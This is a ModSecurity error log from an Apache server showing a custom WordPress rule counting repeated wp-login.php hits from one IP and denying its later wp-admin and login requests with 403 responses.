[Fri Feb 27 21:02:10.574284 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:38578] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGV0sKBhrfI6KNv9Ri1hwAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:11.413126 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:38582] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGV04a650YPyxXVeRY9MwAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:12.257687 2026] [:error] [pid 52073:tid 52090] [client 159.203.62.100:38586] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV1Ia650YPyxXVeRY9OAAAAY4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:15.001881 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:38586] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV14a650YPyxXVeRY9QwAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:16.335676 2026] [:error] [pid 52073:tid 52092] [client 159.203.62.100:38586] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV2Ia650YPyxXVeRY9RgAAAZA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:17.618673 2026] [:error] [pid 52073:tid 52095] [client 159.203.62.100:38586] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGV2Ya650YPyxXVeRY9SQAAAZM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:18.457117 2026] [:error] [pid 52073:tid 52080] [client 159.203.62.100:38602] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGV2oa650YPyxXVeRY9SgAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:19.312298 2026] [:error] [pid 54101:tid 54120] [client 159.203.62.100:43792] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGV21Y5qgRktcYTGFs9fwAAAcw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:20.148236 2026] [:error] [pid 52073:tid 52083] [client 159.203.62.100:43800] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGV3Ia650YPyxXVeRY9TwAAAYc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:20.984167 2026] [:error] [pid 62998:tid 63011] [client 159.203.62.100:43812] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV3FQeueXZDUmoLok_dgAAAQk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:22.223547 2026] [:error] [pid 62998:tid 63013] [client 159.203.62.100:43812] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGV3lQeueXZDUmoLok_eQAAAQs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:23.074880 2026] [:error] [pid 54101:tid 54123] [client 159.203.62.100:43824] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGV31Y5qgRktcYTGFs9gAAAAc8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:23.911572 2026] [:error] [pid 49306:tid 49327] [client 159.203.62.100:43838] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGV3_nSUDZue59Px9sItQAAAVM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:24.747864 2026] [:error] [pid 49306:tid 49322] [client 159.203.62.100:43844] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGV4PnSUDZue59Px9sIuAAAAU4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:25.587172 2026] [:error] [pid 54102:tid 54153] [client 159.203.62.100:43854] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV4Xi74D4fiYUm_GdqigAAAIk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:25.587246 2026] [:error] [pid 54102:tid 54153] [client 159.203.62.100:43854] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV4Xi74D4fiYUm_GdqigAAAIk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:26.421928 2026] [:error] [pid 52073:tid 52097] [client 159.203.62.100:43860] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGV4oa650YPyxXVeRY9VgAAAZU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:27.261714 2026] [:error] [pid 54103:tid 54182] [client 159.203.62.100:43862] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGV4-vG4MPCmE0B2sCgfAAAAMs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:28.103312 2026] [:error] [pid 52073:tid 52094] [client 159.203.62.100:43864] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGV5Ia650YPyxXVeRY9WwAAAZI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:28.939659 2026] [:error] [pid 49306:tid 49317] [client 159.203.62.100:43870] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGV5PnSUDZue59Px9sIvgAAAUk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:29.772295 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:54322] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV5cKBhrfI6KNv9Ri1qQAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:29.772405 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:54322] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV5cKBhrfI6KNv9Ri1qQAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:31.999305 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:54328] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV54a650YPyxXVeRY9YgAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:31.999508 2026] [:error] [pid 52073:tid 52089] [client 159.203.62.100:54328] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV54a650YPyxXVeRY9YgAAAY0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:32.945286 2026] [:error] [pid 62998:tid 63005] [client 159.203.62.100:54342] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGV6FQeueXZDUmoLok_kgAAAQM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:33.787331 2026] [:error] [pid 49306:tid 49315] [client 159.203.62.100:54358] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGV6fnSUDZue59Px9sIxwAAAUc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:34.623446 2026] [:error] [pid 52073:tid 52088] [client 159.203.62.100:54362] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV6oa650YPyxXVeRY9agAAAYw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:35.931552 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:54362] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGV64a650YPyxXVeRY9bQAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:36.772182 2026] [:error] [pid 52073:tid 52096] [client 159.203.62.100:54364] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGV7Ia650YPyxXVeRY9bgAAAZQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:37.610296 2026] [:error] [pid 56075:tid 56083] [client 159.203.62.100:54376] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGV7cKBhrfI6KNv9Ri1wQAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:38.468495 2026] [:error] [pid 56075:tid 56102] [client 159.203.62.100:54384] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGV7sKBhrfI6KNv9Ri1xQAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:39.303137 2026] [:error] [pid 62998:tid 63023] [client 159.203.62.100:57216] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV71QeueXZDUmoLok_nAAAARU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:40.622820 2026] [:error] [pid 62998:tid 63012] [client 159.203.62.100:57216] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGV8FQeueXZDUmoLok_ngAAAQo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:41.466962 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:57220] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGV8cKBhrfI6KNv9Ri10wAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:42.313556 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:57232] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGV8sKBhrfI6KNv9Ri11wAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:43.143717 2026] [:error] [pid 52073:tid 52091] [client 159.203.62.100:57242] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGV84a650YPyxXVeRY9cgAAAY8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:44.061873 2026] [:error] [pid 62998:tid 63007] [client 159.203.62.100:57256] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV9FQeueXZDUmoLok_pAAAAQU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:45.256593 2026] [:error] [pid 62998:tid 63016] [client 159.203.62.100:57256] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGV9VQeueXZDUmoLok_qgAAAQ4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:46.092950 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:57258] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGV9oa650YPyxXVeRY9egAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:46.933381 2026] [:error] [pid 52073:tid 52092] [client 159.203.62.100:57272] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGV9oa650YPyxXVeRY9fwAAAZA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:47.767858 2026] [:error] [pid 52073:tid 52080] [client 159.203.62.100:57288] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGV94a650YPyxXVeRY9hQAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:48.610403 2026] [:error] [pid 54103:tid 54184] [client 159.203.62.100:57294] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV-OvG4MPCmE0B2sCglAAAAM0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:48.610531 2026] [:error] [pid 54103:tid 54184] [client 159.203.62.100:57294] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV-OvG4MPCmE0B2sCglAAAAM0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:50.919602 2026] [:error] [pid 54231:tid 54253] [client 159.203.62.100:35236] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV-uTvb5AeyJCdY7AKDgAAAFM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:52.301720 2026] [:error] [pid 54231:tid 54234] [client 159.203.62.100:35236] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV_OTvb5AeyJCdY7AKDwAAAEA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:52.301808 2026] [:error] [pid 54231:tid 54234] [client 159.203.62.100:35236] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV_OTvb5AeyJCdY7AKDwAAAEA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:54.662856 2026] [:error] [pid 49306:tid 49316] [client 159.203.62.100:35240] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV_vnSUDZue59Px9sI4gAAAUg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:55.962694 2026] [:error] [pid 49306:tid 49332] [client 159.203.62.100:35240] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV__nSUDZue59Px9sI4wAAAVg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:55.962776 2026] [:error] [pid 49306:tid 49332] [client 159.203.62.100:35240] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGV__nSUDZue59Px9sI4wAAAVg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:56.799991 2026] [:error] [pid 62998:tid 63023] [client 159.203.62.100:35244] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWAFQeueXZDUmoLok_twAAARU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:57.657686 2026] [:error] [pid 54231:tid 54255] [client 159.203.62.100:35260] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWAeTvb5AeyJCdY7AKEQAAAFU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:58.501564 2026] [:error] [pid 54103:tid 54175] [client 159.203.62.100:35276] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWAuvG4MPCmE0B2sCgogAAAMQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:59.335351 2026] [:error] [pid 62998:tid 63009] [client 159.203.62.100:52646] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWA1QeueXZDUmoLok_ugAAAQc"], referer: https://gigfragments.org/wp-login.php
